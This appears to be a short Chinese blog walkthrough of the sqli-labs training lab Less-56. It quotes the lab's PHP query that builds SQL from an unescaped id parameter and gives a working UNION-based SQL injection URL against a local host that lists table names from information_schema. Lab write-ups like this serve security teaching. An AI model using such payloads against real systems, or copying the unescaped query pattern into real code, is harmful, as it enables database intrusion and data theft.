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与less54.55形式是一致的,我们关注sql语句,
$sql="SELECT * FROM security.users WHERE id=(‘$id‘) LIMIT 0,1";
因此给出示例payload
http://127.0.0.1/sqli-labs/Less-56/index.php?id=-1‘)union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘challenges‘--+
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原文地址:http://www.cnblogs.com/lcamry/p/5762658.html